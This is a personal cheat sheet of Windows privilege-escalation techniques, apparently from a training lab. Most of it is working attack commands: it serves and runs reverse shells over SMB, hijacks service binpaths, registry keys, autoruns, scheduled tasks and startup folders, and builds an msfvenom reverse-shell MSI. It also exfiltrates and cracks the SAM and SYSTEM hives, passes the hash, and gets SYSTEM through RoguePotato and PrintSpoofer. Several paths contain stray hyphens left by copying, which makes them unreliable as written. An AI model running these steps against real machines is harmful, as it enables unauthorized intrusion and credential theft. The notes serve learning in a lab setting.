win-Priv_Esc

smb-enable

On Kali, in the same directory as reverse.exe:

```
sudo python3 /usr/share/doc/python3-impacket/-
examples/smbserver.py kali .
```

On Windows (update the IP address with your Kali IP):

```
copy \\10.10.10.10\kali\reverse.exe C:-
\PrivEsc\reverse.exe
```

win to kali

```
copy C:\Windows\Repair\SAM \\10.10.10.10\kali\
copy C:\Windows\Repair\SYSTEM \
\10.10.10.10\kali\
```

Insecure Service Permissions

Permissions

```
C:\PrivEsc\accesschk.exe /accepteula -uwcqv user
daclsvc
```

```
sc qc daclsvc
```

Modify the service config and set the BINARY_PATH_NAME (binpath) to the reverse.exe executable you created:

```
sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
```

Start a listener on Kali and then start the service to spawn a reverse shell running with SYSTEM privileges:

```
net start daclsvc
```

Unquoted Service Path

found that unquotedsvc is vuln

check for configs

```
sc qc unquotedsvc
```

check for dir perms

```
C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
```

put file in path

```
copy C:\PrivEsc\reverse.exe "C:-\Program Files\Unquoted Path Service\Common.exe"
```

restart service

```
net start unquotedsvc
```

Weak Registry Permissions

The "regsvc" reg is insecure

```
sc qc regsvc
```

perm check on reg

```
C:\PrivEsc\accesschk.exe /accepteula -uvwqk
HKLM\System\CurrentControlSet\Services\regsvc
```

Overwrite the ImagePath registry key to point to the reverse.exe executable you created:

```
reg add
HKLM\SYSTEM\CurrentControlSet\services\regsvc
 /v ImagePath /t REG_EXPAND_SZ /d C:-
\PrivEsc\reverse.exe /f
```

restart service

```
net start regsvc
```

Insecure Service Executables

the "filepermsvc" service , runs with SYSTEM privileges (SERVICE_START_NAME).

```
sc qc filepermsvc
```

Using accesschk.exe, note that the service binary (BINARY_PATH_NAME) file is writable by everyone:

```
C:\PrivEsc\accesschk.exe /accepteula -quvw "C:-
\Program Files\File Permissions
Service\filepermservice.exe"
```

replace file with payload

```
copy C:\PrivEsc\reverse.exe "C:\Program
Files\File Permissions
Service\filepermservice.exe" /Y
```

restart service

```
net start filepermsvc
```

AutoRuns

Query the registry for AutoRun executables:

```
reg query
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\R
```

AutoRun executables “program.exe” is writable by everyone by

```
C:\PrivEsc\accesschk.exe /accepteula -wvu "C:-
\Program Files\Autorun Program\program.exe"
```

replace it

```
copy C:\PrivEsc\reverse.exe "C:\Program
Files\Autorun Program\program.exe" /Y
```

on admin restart , we'll get reverse_shell

```
rdesktop 10.10.192.139
```

AlwaysInstallElevated

check two regs to be on:

```
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

create msi payload :

```
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi
```

and run it:

```
msiexec /quiet /qn /i C:\PrivEsc\reverse.msi
```

Passwords - Registry

The registry can be searched for keys and values that contain the word "password":

```
reg query HKLM /f password /t REG_SZ /s
```

If you want to save some time, query this specific key to find admin AutoLogon credentials:

```
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
```

On Kali, use the winexe command to spawn a command prompt

```
winexe -U 'admin%password' //10.10.192.139 cmd.exe
```

Passwords - Saved Creds

creds may be saved for easy admin commands List any saved credentials:

```
cmdkey /list
```

run anything as admin(if admin creds saved)

```
runas /savecred /user:admin C:-
\PrivEsc\reverse.exe
```

SAM) + SYSTEM decrypt

decrpt by

```
git clone https://github.com/Tib3rius/-
creddump7
pip3 install pycrypto

python3 creddump7/pwdump.py SYSTEM SAM

hashcat -m 1000 --force <hash> /usr/share/-
wordlists/rockyou.txt
```

Passing the Hash

login by only hash (complate)
without cracking password

```
pth-winexe -U 'admin%hash' //10.10.192.139
cmd.exe
```

Scheduled Tasks

View the contents of the C:\DevTools\CleanUp.ps1 script:

```
type C:\DevTools\CleanUp.ps1
```

The script seems to be running as SYSTEM every minute. Using accesschk.exe, note that you have the ability to write to this file:

```
C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1
```

Start a listener on Kali and then append a line to the C:\DevTools\CleanUp.ps1 which runs the reverse.exe executable you created:

```
echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
```

Wait for the Scheduled Task to run, which should trigger the reverse shell as SYSTEM.

GUI apps

Start an RDP session as the "user" account:

```
rdesktop -u user -p password321 10.10.192.139
```

Double-click the "AdminPaint" shortcut on your Desktop. Once it is running, open a command prompt and note that Paint is running with admin privileges:

```
tasklist /V | findstr mspaint.exe
```

In Paint, click "File" and then "Open". In the open file dialog box, click in the navigation input and paste: file://c:/windows/system32/cmd.exe

Press Enter to spawn a command prompt running with admin privileges.

Startup Apps

Using accesschk.exe, note that the BUILTIN\Users group can write files to the StartUp directory:

```
C:\PrivEsc\accesschk.exe /accepteula -d "C:-
\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
```

Using cscript, run the C:\PrivEsc\CreateShortcut.vbs script which should create a new shortcut to your reverse.exe executable in the StartUp directory:

```
cscript C:\PrivEsc\CreateShortcut.vbs
```

Start a listener on Kali, and then simulate an admin logon using RDP and the credentials you previously extracted:

```
rdesktop -u admin 10.10.192.139
```

A shell running as admin should connect back to your listener.

Token Impersonation - Rogue Potato

Set up a socat redirector on Kali, forwarding Kali port 135 to port 9999 on Windows:

```
sudo socat tcp-listen:135,reuseaddr,fork tcp:10.10.192.139:9999
```

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:

```
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:-
\PrivEsc\reverse.exe
```

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the RoguePotato exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

```
C:\PrivEsc\RoguePotato.exe -r 10.10.10.10 -e "C:-
\PrivEsc\reverse.exe" -l 9999
```

Token Impersonation - PrintSpoofer

Start a listener on Kali. Simulate getting a service account shell by logging into RDP as the admin user, starting an elevated command prompt (right-click -> run as administrator) and using PSExec64.exe to trigger the reverse.exe executable you created with the permissions of the "local service" account:

```
C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:-
\PrivEsc\reverse.exe
```

Start another listener on Kali.

Now, in the "local service" reverse shell you triggered, run the PrintSpoofer exploit to trigger a second reverse shell running with SYSTEM privileges (update the IP address with your Kali IP accordingly):

```
C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i
```

scripts

1 winPEASany.exe
2 Seatbelt.exe
3 PowerUp.ps1
4 SharpUp.exe